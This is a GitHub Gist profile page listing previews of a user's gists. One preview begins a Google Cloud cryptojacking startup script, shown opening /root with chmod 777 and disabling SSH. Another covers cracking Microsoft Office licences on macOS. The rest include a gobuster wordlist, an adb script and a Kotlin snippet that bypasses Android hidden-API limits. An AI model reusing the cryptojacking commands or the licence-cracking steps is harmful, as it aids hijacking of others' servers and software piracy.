Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View xlogix's full-sized avatar
👨‍💻
contributing to open-source

Abhishek Uniyal xlogix

👨‍💻
contributing to open-source
View GitHub Profile
@xlogix
xlogix / startup_script.sh
Created May 24, 2021 09:50 — forked from dataslayermedia/startup_script.sh
Google Cloud Platform Cryptojacking Startup Script for Compute Engine Provisioning via API
# The only reason I have this script is because it was used against me in a hack...
if [ -f "/root/start.sh" ]; then
exit 0
fi
chmod 777 /root
systemctl disable ssh.service || true
systemctl stop ssh.service || true
@xlogix
xlogix / Activate Office 2019 for macOS VoL.md
Created May 6, 2021 21:35 — forked from zthxxx/Activate Office 2019 for macOS VoL.md
crack activate office on mac with license file

Activate MS Office 2019/2016 for macOS - Microsoft_Office_2019_VL_Serializer

Office 2019 above

2019-06-03

Note that Office2019 DO NOT support activate via simple copy/paste plist license file which is the simplest way to activate Office 2016. Fortunately, you can also use the VL Serializer tool, just install Office 2019 and Serializer, then run Serializer to activate.

Ref

@xlogix
xlogix / content_discovery_all.txt
Created February 15, 2021 09:38 — forked from jhaddix/content_discovery_all.txt
a masterlist of content discovery URLs and files (used most commonly with gobuster)
This file has been truncated, but you can view the full file.
`
~/
~
ים
___
__
_
@xlogix
xlogix / adbwificonnect.sh
Created March 30, 2020 14:37 — forked from amanshuraikwar/adbwificonnect.sh
Shell script to connect a USB connected device via adb over WiFi
# Purpose: Shell script to connect a USB connected device via adb over WiFi
#
# Author: Amanshu Raikwar
#
# Assumptions:
# 1. USB debugging is enabled in the Android device
# 2. The Android device is connected to the computer via USB
# 3. The Android device is connected to the same wifi as the computer
# 4. The Android device is accessible through port 5555 over the wifi network
#
@xlogix
xlogix / filenames-without-ext.sh
Created March 29, 2020 21:05
Extract filenames without their extensions and put it in the clipboard
ls -C | awk -F"." '{print $1}' | xclip -selection c
@xlogix
xlogix / keybase.md
Created March 29, 2020 19:46
Keybase ID

Keybase proof

I hereby claim:

  • I am xlogix on github.
  • I am abhishekuniyal (https://keybase.io/abhishekuniyal) on keybase.
  • I have a public key whose fingerprint is C000 D68F 8500 E966 9C14 E0F6 603F 5557 2B04 A21A

To claim this, I am signing this object:

@xlogix
xlogix / GmailController.js
Created March 26, 2020 11:22 — forked from tojibon/GmailController.js
OAuth2 google authentication and saving information on MongoDB database and later use the token / refreshtoken to retrieve profile information.
/**
* Admin/GmailController
*
* @description :: Server-side logic for managing admin/gmails
* @help :: See http://sailsjs.org/#!/documentation/concepts/Controllers
Help Links:
https://github.com/mscdex/node-imap
https://github.com/pipedrive/inbox
https://github.com/google/google-api-nodejs-client
watchman watch-del-all && rm -rf $TMPDIR/react-* && rm -rf $TMPDIR/npm-* && rm -rf $TMPDIR/haste-* && rm -rf $TMPDIR/metro-* && rm -rf node_modules && npm install && rm -rf ios/Pods && cd ios && pod cache clean --all && pod repo update && pod install && ./android/gradlew clean -p ./android/ && rm -rf ios/build && rm -rf ~/Library/Developer/Xcode/DerivedData && npm start -- --reset-cache
@xlogix
xlogix / crontab
Created January 27, 2020 12:44
Cron Jobs Examples
# Suppress attempts to mail output. We'll check syslog.
MAILTO=""
PYTHON=/root/bot/env/bin/python
# Kick off Payday every Thursday.
0 5 * * 4 $PYTHON /root/bot/payday.py 2>&1 | logger -t KICK-OFF-PAYDAY
# Poll for updates every minute.
* * * * * /root/bot/update.sh 2>&1 | logger -t UPDATE-BOT
val forName = Class::class.java.getDeclaredMethod("forName", String::class.java)
val getDeclaredMethod = Class::class.java.getDeclaredMethod("getDeclaredMethod", String::class.java, arrayOf<Class<*>>()::class.java)
val vmRuntimeClass = forName.invoke(null, "dalvik.system.VMRuntime") as Class<*>
val getRuntime = getDeclaredMethod.invoke(vmRuntimeClass, "getRuntime", null) as Method
val setHiddenApiExemptions = getDeclaredMethod.invoke(vmRuntimeClass, "setHiddenApiExemptions", arrayOf(arrayOf()::class.java)) as Method
val vmRuntime = getRuntime.invoke(null)
setHiddenApiExemptions.invoke(vmRuntime, arrayOf("L"))